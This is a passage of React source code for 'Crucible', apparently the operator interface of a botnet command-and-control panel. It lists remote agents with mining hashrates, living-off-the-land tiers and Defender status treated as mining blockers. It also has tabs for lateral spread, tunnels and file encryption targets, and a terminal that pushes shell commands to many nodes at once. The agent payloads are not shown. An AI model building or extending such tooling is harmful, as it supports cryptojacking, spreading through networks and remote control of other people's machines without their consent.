{d.posture_score} / 100
</span>
)}
</div>
<div className="rich-posture-grid">
<div className="rich-kv-row"><span className="rich-key">Defender</span>
<span className={`rich-val ${d.defender_enabled ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.defender_enabled ? 'ON' : 'OFF'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">Real-Time Prot</span>
<span className={`rich-val ${d.defender_rtp ? 'rich-val-ok' : 'rich-val-warn'}`}>{d.defender_rtp ? 'ON' : 'OFF'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">Firewall Domain/Priv/Pub</span>
<span className="rich-val">{fwIcon(d.firewall_domain)} / {fwIcon(d.firewall_private)} / {fwIcon(d.firewall_public)}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">AV Products</span>
<span className="rich-val">{d.av_products?.join(', ') || '—'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">SSH Listening</span>
<span className={`rich-val ${d.ssh_listening ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.ssh_listening ? 'YES' : 'NO'}</span>
</div>
<div className="rich-kv-row"><span className="rich-key">Agent Elevated</span>
<span className={`rich-val ${d.agent_elevated ? 'rich-val-warn' : 'rich-val-ok'}`}>{d.agent_elevated ? 'YES (ADMIN)' : 'no'}</span>
</div>
{d.last_patch_days != null && (
<div className="rich-kv-row"><span className="rich-key">Last Patch</span>
<span className={`rich-val ${d.last_patch_days > 60 ? 'rich-val-bad' : d.last_patch_days > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.last_patch_days}d ago{d.pending_updates ? ` · ${d.pending_updates} pending` : ''}
{d.reboot_pending ? ' · REBOOT!' : ''}
</span>
</div>
)}
</div>
{d.services && d.services.length > 0 && (
<>
<div className="rich-sub-label">SERVICES</div>
<table className="rich-table">
<thead><tr><th>SERVICE</th><th>STATUS</th><th>START</th></tr></thead>
<tbody>
{d.services.map((s, i) => (
<tr key={i}>
<td className="rich-proc">{s.display_name || s.name}</td>
<td className={`rich-svc-status ${s.status === 'running' ? 'rich-val-ok' : 'rich-val-bad'}`}>{s.status.toUpperCase()}</td>
<td className="rich-addr">{s.start_type}</td>
</tr>
))}
</tbody>
</table>
</>
)}
</div>
);
const RichMiningDiagnosticsBlock = ({ d }: { d: RichMiningDiagnostics }) => (
<div className="rich-block rich-mining-diag">
<div className="rich-header">
<span className="rich-label">MINING DIAGNOSTICS</span>
{d.lotl_tier && <LotlTierBadge tier={d.lotl_tier} attempts={d.lotl_attempts} variant="inline" />}
{d.active_method && <span className="rich-tag">{d.active_method}</span>}
</div>
{d.execution_mode && (
<div className="rich-kv-row">
<span className="rich-key">Execution</span>
<span className="rich-val">{d.execution_mode}</span>
</div>
)}
{(d.lotl_attempts?.length ?? 0) > 0 && (
<LotlAttemptsList
attempts={d.lotl_attempts ?? []}
activeTier={d.lotl_tier}
miningHashrate={d.mining_hashrate}
/>
)}
<div className="rich-sub-label">LIKELY BLOCKERS</div>
{d.likely_blockers.length === 0 ? (
<div className="rich-empty">No blockers detected</div>
) : (
<ul className="rich-blocker-list">
{d.likely_blockers.map((b, i) => (
<li key={i} className="rich-blocker-item">{b}</li>
))}
</ul>
)}
</div>
);
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
if (d.type === 'mining_diagnostics') return <RichMiningDiagnosticsBlock d={d} />;
if (d.type === 'full_sys_check') {
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
}
if (d.type === 'screenshot') return (
<div style={{ marginTop: '0.4rem' }}>
<img
src={`data:image/png;base64,${d.b64}`}
alt="screenshot"
style={{ maxWidth: '100%', maxHeight: 340, borderRadius: 4, border: '1px solid #333', cursor: 'pointer' }}
onClick={() => window.open(`data:image/png;base64,${d.b64}`, '_blank')}
title="Click to open full size"
/>
</div>
);
return null;
};
// ── Render ─────────────────────────────────────────────────────────────
return (
<div className="page fade-in crucible-page operator-deck-page">
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
<h1>Crucible</h1>
<p className="page-subtitle">select nodes · group them · command them all at once</p>
</div>
<div className="deck-hero-status">
<div className="crucible-sel-summary">
<span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
</span>
<span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
{agents.filter(online).length} online / {agents.length} total
</span>
</div>
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
{selectedIds.size > 0 && (
<button className="button crucible-btn" onClick={() => setShowGroupModal(true)}>
Create group
</button>
)}
</div>
</header>
<AlsoHere page="/crucible" />
{agents.length > 0 && (
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
selectedAgents={selectedAgents}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
onCreateGroup={() => setShowGroupModal(true)}
bulkBusy={bulkBusy}
/>
)}
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
selectedCount={selectedIds.size}
onSelectGroup={activateGroup}
onDeleteGroup={removeGroup}
onCreateGroup={() => setShowGroupModal(true)}
/>
<div className="crucible-layout">
<aside className="crucible-sidebar">
<NeonCard
accent="cyan"
className="crucible-heat-card operator-deck-card operator-interactive"
tilt3d={false}
>
<div className="crucible-section-title font-tech" style={{ marginBottom: '0.5rem' }}>
<span className="section-ornament"></span> HEAT MAP <HelpTip field="crucible_heat_map" />
</div>
<FleetHeatMiniMap
agents={agents}
groups={groups}
allIds={allIds}
selectedIds={selectedIds}
onSelectAgent={selectAgent}
/>
</NeonCard>
</aside>
<div className="crucible-main">
{/* ── Node Roster ─────────────────────────────────────────────────── */}
<NeonCard accent="cyan" className="crucible-roster-card operator-deck-card operator-interactive" hud tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> NODE ROSTER <HelpTip field="crucible_node_roster" />
</div>
{agents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
) : filteredAgents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes match filters.</p>
) : (
<>
{filteredAgents.length > ROSTER_PAGE_SIZE && (
<div className="crucible-roster-pager" style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.5rem', fontSize: '0.8rem' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe <= 0} onClick={() => setRosterPage((p) => Math.max(0, p - 1))}> Prev</button>
<span className="font-tech">
{rosterPageSafe * ROSTER_PAGE_SIZE + 1}{Math.min((rosterPageSafe + 1) * ROSTER_PAGE_SIZE, filteredAgents.length)} of {filteredAgents.length}
</span>
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe >= rosterPageCount - 1} onClick={() => setRosterPage((p) => Math.min(rosterPageCount - 1, p + 1))}>Next </button>
</div>
)}
<div className="crucible-roster">
{rosterSlice.map((a) => {
const sel = selectedIds.has(a.id);
const isOn = online(a);
const ssh = sshStatus(a);
const posture = postureStatus(a);
const pg = primaryGroupForAgent(groups, a.id);
const color = agentColor(a.id, allIds, pg?.color);
return (
<div
key={a.id}
className={`crucible-node-card operator-interactive ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
style={{
...(sel ? { '--sel-color': color } : {}),
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
} as React.CSSProperties}
onClick={() => toggle(a.id)}
>
<div className="crucible-node-check">
<span className={`cn-checkbox ${sel ? 'checked' : ''}`}
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
</div>
<div className="crucible-node-body">
<div className="cn-name" style={sel || pg ? { color: pg?.color ?? color } : undefined}>
<span className="cn-platform">{platformIcon(a.platform)}</span>
{a.name}
{pg && (
<span className="cn-group-pill" style={{ color: pg.color, borderColor: `${pg.color}66` }}>
{pg.name}
</span>
)}
</div>
<div className="cn-meta">
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
</div>
{(a.tags?.length ?? 0) > 0 && (
<div className="cn-tags" style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.2rem' }}>
{a.tags!.map((t) => (
<span key={t} className="agent-tag-chip" style={{ fontSize: '0.65rem' }}>{t}</span>
))}
</div>
)}
{a.notes?.trim() && (
<div className="form-hint" style={{ fontSize: '0.68rem', marginTop: '0.15rem', opacity: 0.75 }}>
{a.notes.trim().slice(0, 60)}{a.notes.length > 60 ? '…' : ''}
</div>
)}
<div className="cn-ip font-tech">{a.ip || '—'}</div>
<div className="cn-stats">
<span>{a.cpu_cores}c</span>
<span>{a.gpu_miner_active && (a.gpu_hashrate_15m ?? 0) > 0 ? `GPU: ${formatHashrate(a.gpu_hashrate_15m ?? 0)}` : formatHashrate(a.hashrate_15m)}</span>
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
</div>
<div className="cn-badges">
<LotlTierBadge tier={a.lotl_tier} attempts={a.lotl_attempts} />
{(() => { const cb = contingencyDepthBadge(a); return cb && (
<div className={`cn-contingency ${cb.cls}`} title="Onion contingency tree depth (Fleet AI Control)">
{cb.label}
</div>
); })()}
<RiskBadge findings={a.vuln_findings} />
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
<div
className={`cn-posture ${posture.cls}`}
title={postureTooltip(a)}
>
{posture.label}
</div>
{posture.patch && (
<div
className={`cn-patch ${posture.patch.cls}`}
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)${a.pending_updates !== undefined ? ` · ${a.pending_updates} pending` : ''}`}
>
{posture.patch.label}
</div>
)}
{posture.ports && (
<div
className={`cn-ports ${posture.ports.cls}`}
title={`${a.listen_port_count ?? '?'} TCP listeners (run listen_ports for full list)`}
>
{posture.ports.label}
</div>
)}
{(() => { const pb = pendingBadge(a); return pb && (
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
{pb.label}
</div>
); })()}
{(() => { const rb = rebootBadge(a); return rb && (
<div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates">
{rb.label}
</div>
); })()}
{a.agent_elevated && (
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
)}
{(() => { const tb = thermalBadge(a); return tb && (
<div
className={`cn-thermal ${tb.cls}`}
title={`CPU: ${a.cpu_temp_c ?? '?'}°C GPU: ${a.gpu_temp_c ?? '?'}°C`}
>{tb.label}</div>
); })()}
{(() => { const db = diskBadge(a); return db && (
<div
className={`cn-disk ${db.cls}`}
title={`Disk: ${a.disk_free_gb?.toFixed(1) ?? '?'} GB free of ${a.disk_total_gb?.toFixed(0) ?? '?'} GB`}
>{db.label}</div>
); })()}
{(() => { const trb = throttleBadge(a); return trb && (
<div
className={`cn-throttle ${trb.cls}`}
title={`CPU running at ${a.cpu_freq_mhz ?? '?'} MHz (max ${a.cpu_max_mhz ?? '?'} MHz)`}
>{trb.label}</div>
); })()}
{(() => { const db2 = dnsBadge(a); return db2 && (
<div
className={`cn-dns ${db2.cls}`}
title={`DNS changed since last heartbeat!\nCurrent: ${a.dns_servers?.join(', ') ?? '?'}`}
>{db2.label}</div>
); })()}
</div>
{a.dns_servers && a.dns_servers.length > 0 && (
<div className={`cn-dns-row${a.dns_drifted ? ' dns-drifted' : ''}`}
title={`DNS: ${a.dns_servers.join(', ')}${a.dns_search_domains?.length ? ' Search: ' + a.dns_search_domains.join(', ') : ''}`}>
<span className="cn-dns-icon"></span>
{a.dns_servers.slice(0, 2).join(' · ')}
{a.dns_drifted && <span className="dns-drift-flag"> DRIFT</span>}
</div>
)}
{a.services && a.services.length > 0 && (
<div className="cn-services">
{importantServices(a.services).map(svc => (
<span
key={svc.name}
className={`cn-svc ${svcDotClass(svc.status)}`}
title={`${svc.display_name ?? svc.name} status: ${svc.status} start: ${svc.start_type}`}
>
<span className="svc-dot">{svcDot(svc.status)}</span>
{svcLabel(svc)}
</span>
))}
</div>
)}
</div>
</div>
);
})}
</div>
</>
)}
</NeonCard>
{focusedAgent && (
<CrucibleAgentMeta agent={focusedAgent} />
)}
{/* ── Focused machine banner ──────────────────────────────────────── */}
{focusedAgent && (
<div className="crucible-focus-bar" style={{
display: 'flex', alignItems: 'center', gap: '1.5rem', flexWrap: 'wrap',
background: 'rgba(0,245,255,0.06)', border: '1px solid rgba(0,245,255,0.25)',
borderRadius: '8px', padding: '0.65rem 1rem', marginBottom: '1rem',
fontSize: '0.85rem',
}}>
<span style={{ color: 'var(--neon-cyan)', fontFamily: 'monospace', fontWeight: 700, fontSize: '0.75rem', letterSpacing: '0.1em' }}>
ACTIVE TARGET <HelpTip field="crucible_active_target" />
</span>
<span style={{ fontFamily: 'monospace', color: agentColor(focusedAgent.id, allIds), fontWeight: 600 }}>
{platformIcon(focusedAgent.platform)} {focusedAgent.name}
</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
<LotlTierBadge tier={focusedAgent.lotl_tier} attempts={focusedAgent.lotl_attempts} variant="inline" />
<RiskBadge findings={focusedAgent.vuln_findings} variant="inline" />
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
{focusedAgent.status !== 'online' && (
<span style={{ color: 'var(--error-color)', fontFamily: 'monospace', fontSize: '0.8rem' }}>
offline commands will fail until it reconnects
</span>
)}
<button
className="button crucible-btn-muted"
style={{ marginLeft: 'auto', fontSize: '0.75rem', padding: '0.2rem 0.6rem' }}
onClick={() => setSelectedIds(new Set())}
>
Deselect
</button>
</div>
)}
{focusedAgent && (
<AccessDepthPanel
agent={focusedAgent}
diagnostics={accessDepthByAgent[focusedAgent.id]}
/>
)}
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> GROUPS <HelpTip field="crucible_groups" />
</div>
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
Named color subsets click a chip to select all members for bulk commands.
</p>
{groups.length === 0 ? (
<p className="form-hint" style={{ margin: 0 }}>
Select nodes, then <strong>Create group</strong> to name and color them.
</p>
) : (
<div className="crucible-groups-list">
{groups.map((g) => (
<div
key={g.id}
className="crucible-group-item"
style={{
borderColor: `${g.color}55`,
background: `${g.color}14`,
}}
onClick={() => activateGroup(g)}
>
<span className="fleet-group-chip-dot" style={{ background: g.color }} />
<span className="cg-name" style={{ color: g.color }}>{g.name}</span>
<span className="cg-count">{g.agentIds.length} nodes</span>
<button className="cg-del" onClick={(e) => { e.stopPropagation(); removeGroup(g.id); }}>×</button>
</div>
))}
</div>
)}
{selectedIds.size > 0 && (
<button
type="button"
className="button crucible-btn"
style={{ marginTop: '0.75rem' }}
onClick={() => setShowGroupModal(true)}
>
Create group from selection ({selectedIds.size})
</button>
)}
</NeonCard>
<NeonCard accent="amber" className="crucible-actions-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS
{selectedIds.size > 0 && (
<span style={{ marginLeft: '0.75rem', color: 'var(--neon-cyan)', fontSize: '0.75rem', fontWeight: 400 }}>
{selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`}
</span>
)}
</div>
{/* Tab selectors */}
<div className="crucible-tabs font-tech" style={{
display: 'flex',
gap: '0.35rem',
borderBottom: '1px solid rgba(255, 255, 255, 0.08)',
marginBottom: '0.75rem',
paddingBottom: '0.4rem',
flexWrap: 'wrap',
}}>
{(
[
{ id: 'ops', label: 'OPERATIONS' },
{ id: 'recon', label: 'INTEL & RECON' },
{ id: 'files', label: 'FILE OPS' },
{ id: 'spread', label: 'LATERAL / SPREAD' },
{ id: 'tunnels', label: 'TUNNELS' },
] as const
).map((t) => {
const tabHelp: Record<typeof t.id, string> = {
ops: 'crucible_tab_ops',
recon: 'crucible_tab_recon',
files: 'crucible_tab_files',
spread: 'crucible_tab_spread',
tunnels: 'crucible_tab_tunnels',
};
return (
<button
key={t.id}
type="button"
className={`crucible-tab-btn ${activeTab === t.id ? 'active' : ''}`}
onClick={() => setActiveTab(t.id)}
style={{
background: 'none',
border: 'none',
color: activeTab === t.id ? 'var(--neon-amber)' : 'var(--text-muted)',
cursor: 'pointer',
fontSize: '0.72rem',
fontWeight: 600,
padding: '0.25rem 0.55rem',
borderBottom: activeTab === t.id ? '2px solid var(--neon-amber)' : '2px solid transparent',
transition: 'all 0.15s',
letterSpacing: '0.08em',
display: 'inline-flex',
alignItems: 'center',
gap: '0.15rem',
}}
>
{t.label}
<HelpTip field={tabHelp[t.id]} />
</button>
);})}
</div>
<div className="crucible-ops-panel">
<CrucibleExpandedOps
activeTab={activeTab}
selectedAgents={selectedAgents}
selectedCount={selectedIds.size}
singleSelectedAgent={singleSelectedAgent}
allAgents={agents}
commandResults={commandResults}
onEcho={appendTerminalLine}
onAgentError={(agentId, agentName, action, err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId,
agentName,
isCmd: false,
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
targeted: true,
},
]);
}}
onScanSelected={() => scanSelected()}
onProbePosture={() => probePosture(selectedIds.size > 0 ? selectedAgents.filter(online) : agents.filter(online))}
onProbeSSH={() => probeSSH()}
onWakeSSH={() => wakeSSH()}
onShellDispatch={(command) => {
const cmd = command === 'ipconfig /all'
? (shellType === 'powershell' ? 'ipconfig /all' : 'ip addr')
: command;
dispatch(cmd, shellType);
}}
browseAgent={browseAgent}
encryptTargets={encryptTargets}
fmCommandResults={fmCommandResults}
tunnelStatusMsg={tunnelStatusMsg}
onDispatchTunnel={dispatchTunnelCommand}
/>
{/* ── Selection chips ──────────────────────────── */}
{selectedIds.size > 0 && (
<div className="crucible-sel-chips">
{selectedAgents.map((a) => {
const color = agentColor(a.id, allIds);
const ssh = sshStatus(a);
return (
<span
key={a.id}
className="crucible-chip"
style={{ borderColor: color, color }}
onClick={() => toggle(a.id)}
title={`${a.ip ?? ''} · ${ssh.label}`}
>
{a.name} ×
</span>
);
})}
</div>
)}
</div>
</NeonCard>
</div>
{/* ── Terminal ────────────────────────────────────────────────────── */}
<NeonCard accent="green" className="crucible-term-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-term-header" style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', flexWrap: 'wrap', gap: '0.5rem' }}>
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
<span className="section-ornament"></span> TERMINAL <HelpTip field="crucible_master_terminal" />
<span className="crucible-term-target">
{selectedIds.size === 0
? '— select nodes above —'
: `${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
}
</span>
</div>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center' }}>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
<button
key={s}
type="button"
className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
onClick={() => setShellType(s)}
>
{s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
</button>
))}
</div>
<button type="button" className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
</div>
</div>
<div className="crucible-terminal">
{termLines.length === 0 && (
<div className="crucible-term-empty">
Select nodes · type a command · press Enter
</div>
)}
{termTruncated && (
<div className="crucible-term-truncated" style={{ opacity: 0.55, fontSize: '0.72rem', padding: '0.2rem 0' }}>
{termHidden} older lines hidden (CLEAR to reset)
</div>
)}
{visibleTermLines.map((line) => {
const color = agentColor(line.agentId, allIds);
const dim = line.targeted === false;
return (
<div
key={line.id}
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''} ${line.richData ? 'rich-line' : ''}`}
style={dim ? { opacity: 0.45 } : undefined}
>
<span className="ctl-agent" style={{ color }}>
{line.agentName.slice(0, 12).padEnd(12)}
</span>
<span className="ctl-arrow" style={{ color }}>
{line.isCmd ? '▶' : '◀'}
</span>
{line.richData ? (
<span className="ctl-text ctl-rich">{renderRichData(line.richData, line.agentName)}</span>
) : (
<span className="ctl-text">{line.text}</span>
)}
<span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
</div>
);
})}
<div ref={termEndRef} />
</div>
<div className="crucible-term-input-row">
<span className="crucible-prompt font-tech">
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
</span>
<input
ref={cmdRef}
className="crucible-term-input"
value={cmd}
onChange={(e) => setCmd(e.target.value)}
onKeyDown={handleKey}
placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
disabled={busy || selectedIds.size === 0}
spellCheck={false}
autoComplete="off"
/>
<button
className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
onClick={sendCmd}
disabled={busy || !cmd.trim() || selectedIds.size === 0}
>
{busy ? '…' : 'SEND'}
</button>
</div>
</NeonCard>
<CreateGroupModal
open={showGroupModal}
agentCount={selectedIds.size}
onClose={() => setShowGroupModal(false)}
onCreate={(name, color) => {
addGroup(name, color, [...selectedIds]);
setShowGroupModal(false);
}}
/>
</div>
</div>
</div>
);
}